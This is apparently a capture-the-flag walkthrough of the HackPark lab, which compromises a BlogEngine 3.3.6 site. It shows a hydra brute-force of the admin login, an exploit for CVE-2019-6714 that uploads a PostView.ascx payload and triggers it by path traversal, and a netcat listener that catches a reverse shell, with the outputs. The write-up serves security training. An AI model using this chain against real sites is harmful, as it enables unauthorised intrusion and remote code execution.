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HackPark BlogEngine

BURPSUITE​

  • [IP:80/Account/login.aspx?ReturnURL=/admin/]
  • We can Intercept the Login Request with Burpsuite ➜ Proxy ➜ Intercept ON in Order to attempt a Brute-Force Attack with hydra.
POST /Account/login.aspx?ReturnURL=%2fadmin%2f HTTP/1.1
Host: 10.10.76.79
Referer: http://10.10.76.79/Account/login.aspx?ReturnURL=/admin/

__VIEWSTATE=R5udoO0ZPM2lxCztLZomfdn6ZP5j6MY3A3pH5JFIY0EUS8BhyKHXd7JTKJl8UEXmTi%2FMrwZY0gzNjOpSQ6fs%2F4PZeRk3PIobUvCV%2Fc9MdGIDGBdB%2FybftEP8Ppc%2BlrxVQxpoZFr4UUx0MRmdWiac%2BcimUDnxupmDkjWqC332LWa5f5pw&__EVENTVALIDATION=RBfvevREoLvXTy6kxTyAy%2B5%2B%2F0jCzpxH049zWxZZ6YzGWBsJwCQhfdodzY%2FgoDS%2F4KiZ%2BYVeDAJ91ALKTm6HsT5lDMESMjC2qchfoC6LTm5lCVDNwlW4q1qZapDuxuB20bTIjW%2F3J6Q0mPZhcPDxpHfnCzA3zELIcK0EmjlXeq8Lz0gg&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=pass&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in

HYDRA​

  • I tried to Enumerate the Machine for the Username but did not find anything, so i just put admin in the field, it turned out to be the Authorized Username.
  • Brute-Forcing Login Form: admin:1qaz2wsx
[DATA] attacking http-post-form://10.10.76.79:80/Account/login.aspx?ReturnURL=%2fadmin%2f:__VIEWSTATE=R5udoO0ZPM2lxCztLZomfdn6ZP5j6MY3A3pH5JFIY0EUS8BhyKHXd7JTKJl8UEXmTi%2FMrwZY0gzNjOpSQ6fs%2F4PZeRk3PIobUvCV%2Fc9MdGIDGBdB%2FybftEP8Ppc%2BlrxVQxpoZFr4UUx0MRmdWiac%2BcimUDnxupmDkjWqC332LWa5f5pw&__EVENTVALIDATION=RBfvevREoLvXTy6kxTyAy%2B5%2B%2F0jCzpxH049zWxZZ6YzGWBsJwCQhfdodzY%2FgoDS%2F4KiZ%2BYVeDAJ91ALKTm6HsT5lDMESMjC2qchfoC6LTm5lCVDNwlW4q1qZapDuxuB20bTIjW%2F3J6Q0mPZhcPDxpHfnCzA3zELIcK0EmjlXeq8Lz0gg&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed
[80][http-post-form] host: 10.10.76.79   login: admin   password: 1qaz2wsx

Content Discovery​

  • We can Login using the Cracked Credentials: admin:1qaz2wsx
  • BlogEngine Version: 3.3.6.0 Vulnerable (CVE-2019-6714)

HP


  • Used Exploit EDB-ID: 46353
  • [1] Setting: HOST - PORT - Starting a Listener on the PORT
  • [2] Uploading the PAYLOAD using the BlogEngine File Manager. This is done by Editing a Post and Clicking on the Icon that Looks like a Folder.
  • [3] The PAYLOAD must be Named as PostView.ascx
  • [4] The PAYLOAD can be Executed by visiting the Following URL: http://IP:80/?theme=../../App_Data/files

HP


NETCAT​

  • We can catch the Reverse Shell Using netcat
attacker@machine:~$ rlwrap nc -nvlp 4444
Connection from 10.10.176.77:49227
Microsoft Windows [Version 6.3.9600]

C:\Windows\system32\inetsrv> whoami
iis apppool\blog